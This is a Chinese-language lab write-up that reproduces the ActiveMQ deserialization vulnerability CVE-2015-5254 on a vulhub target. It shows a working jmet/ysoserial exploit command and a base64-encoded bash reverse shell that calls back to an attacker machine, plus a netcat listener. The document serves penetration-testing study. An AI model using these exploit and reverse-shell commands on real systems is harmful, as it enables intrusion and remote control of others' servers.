ActiveMQ 反序列化漏洞
环境说明:
靶机:Ubuntu24.04 IP:192.168.75.128
攻击机:Kali2025.3 IP:192.168.75.129
参考文档:【vulhub漏洞复现】ActiveMQ 反序列化漏洞 (CVE-2015-5254)-01
靶机环境配置
安装 Docker
安装前置依赖
sudo apt update
sudo apt install ca-certificates curl gnupg lsb-release -y添加 Docker 官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg添加 Docker 软件源
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null安装 Docker 引擎
sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y把当前用户加入 docker 组(免 sudo 执行 docker)
sudo usermod -aG docker $USER
newgrp docker验证安装是否成功
# 测试docker compose
docker compose version
安装Vulhub环境
# 安装git(拉取Vulhub代码)
sudo apt install -y git
# 拉取Vulhub代码到本地
git clone https://github.com/vulhub/vulhub.git
# 进入漏洞环境目录
cd vulhub/activemq/CVE-2015-5254
# 启动漏洞环境(第一次启动会下载镜像,约5-10分钟,耐心等)
sudo docker compose up -d
运行环境后,会建立61616和8161这两个端口

其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口,访问http://192.168.75.128:8161,可以看到web管理页面。但是这个漏洞理论上不需要web

打开http://192.168.75.128:8161/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围

漏洞复现
下载 jmet 的 jar(Java 消息利用工具)文件
#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
#创建external目录
mkdir external执行命令,将有效负载发送到目标IP 的61616端口
java \
--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.lang=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
-jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.75.128 61616
#调用 java -jar 运行jmet的jar包,-Q 是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload,-Y 是攻击模式和内容(此处为创建一个sucess的文件), -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口
这时,会给目标ActiveMQ添加一个event列,我们可以通过http://192.168.75.128:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

点击查看这条消息即可触发命令执行


登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建
#登录容器环境
docker exec -it [容器ID] bash 
反弹shell
将命令替换成弹shell的语句再利用
#bash反弹命令
bash -i >& /dev/tcp/192.168.75.129/31005 0>&1将反弹语句bese64编码

#bash64解码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEyOS8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}kali上开启端口监听
nc -lvvp 31005
再次执行弹shell命令
java \
--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.lang=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
-jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEyOS8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.75.128 61616
再次点击对应的ID号

可以看到监听端口已经接受到弹回的shell了,可以执行命令

